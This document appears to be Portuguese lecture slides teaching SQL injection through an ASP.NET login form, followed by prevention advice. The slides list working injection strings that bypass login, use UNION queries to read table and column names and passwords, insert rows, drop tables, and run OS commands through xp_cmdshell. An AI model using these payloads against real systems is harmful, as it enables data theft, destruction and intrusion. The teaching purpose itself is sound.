SQL INJECTION
Definição
A injecção maliciosa de comandos SQL num SGBD através de uma aplicação.
Um ataque deste tipo pode:
Expor informação
Introduzir/alterar dados
Eliminar dados
Ganhar acesso a contas/privilégios de outros utilizadores
Denial-of-Service
Executar comandos no SO
Ameaça mais comum num SGBD
Como Funciona?
Exemplo (ASP .NET)
Form de Login de uma aplicação que tem associada uma query:
Se retornar algo => login!
GUI -> Imaginemos que a query é construída da seguinte forma:
Strings – Injecting SQL
Se o utilizador introduzir os seguintes campos:
form_usr | ' or 1=1 – – |
form_pwd | < anything > |
A query resultante seria:
Repare no poder do caracter ’ na string... termina-a e o que vem a seguir é considerado comando SQL.
O resto da instrução SQL (programada) é cancelada com o --
E se o parâmetro for numérico...
Se o utilizador introduzir os seguintes campos:
form_id | 3 or 1=1 – – |
form_pin | < anything > |
A query resultante seria:
Vai retornar todos os tuplos de customers...
Descobrindo nome da tabela e atributos
form_usr | blabla |
form_pwd | ' group by username -- |
A query resultante seria:
Obter o nome das tabelas da BD
form_usr | xx' UNION SELECT TABLE_NAME, null, null FROM INFORMATION_SCHEMA.TABLES; -- |
form_pwd | blablabla |
Explorando a UNION para obter outra informação:
Temos de acertar no número de atributos (tentativa e erro)
Provocar um erro de “matching” dos tipos dos atributos
Obter o nome das colunas da tabela
form_usr | xx' UNION SELECT COLUMN_NAME, null, null FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='vendor'; -- |
form_pwd | blablabla |
Explorando a UNION para obter outra informação:
Temos de acertar no número de atributos (tentativa e erro)
Provocar um erro de “matching” dos tipos dos atributos
Acesso a dados de tabelas
form_usr | xx' UNION SELECT TOP 1 username, null, null FROM login; -- |
form_pwd | blablabla |
Continuando a explorar a UNION para obter outra informação:
Já temos os usernames... vamos tentar obter as passwords:
form_usr | xx' UNION SELECT password, null, null FROM login WHERE username=‘cc’; -- |
form_pwd | blablabla |
Continuando a explorar a UNION para obter outra informação:
Inserir/Alterar Dados numa tabela
Inserindo novos registos na tabela Login:
form_usr | xx’; INSERT INTO Login Values (3, ‘Joao’, ‘toc-toc’); -- |
form_pwd | blablabla |
Resultaria em duas instruções SQL:
Eliminando Tabelas!
E se o utilizador tiver permissões para eliminar tabelas???
form_usr | xx’; DROP TABLE sales; -- |
form_pwd | blablabla |
Resultaria em duas instruções SQL:
Falha a autenticação mas executa com sucesso a segunda instrução DDL...
Determinar o DB Login/User
Há várias funções escalares do SQL99 suportadas pelos SGBD:
user ou current_user
session_user
system_user
form_usr | xx' and 1 in (select user ) -- |
form_pwd | blablabla |
Resultaria em duas instruções SQL:
Execução de comandos do SO
Se o utilizador introduzir os seguintes campos:
form_usr | '; exec master..xp_cmdshell 'dir' – – |
form_pwd | blablabla |
A query resultante seria a execução de um comando na shell do SO*:
Podemos construir uma batch (...;...;...;) que:
recolhe dados e envia para uma máquina remota
start/stop de serviços do SO
destrói dados
Como Prevenir?
Não confiar nos dados introduzidos pelo utilizador
Devemos validar toda a entrada de dados
Nunca utilizar SQL dinâmico
Utilizar SQL parametrizado ou Stored Procedures
Nunca conectar a DB com um conta administrador
Utilizar uma conta com privilégios limitados
Não armazenar informação sensível (passwords, etc) em texto simples
Utilizar processos de cifragem ou hash
Reduzir ao mínimo a apresentação de informação de erros
Utilizar informação de erros customizada
Não utilizar debug
Last updated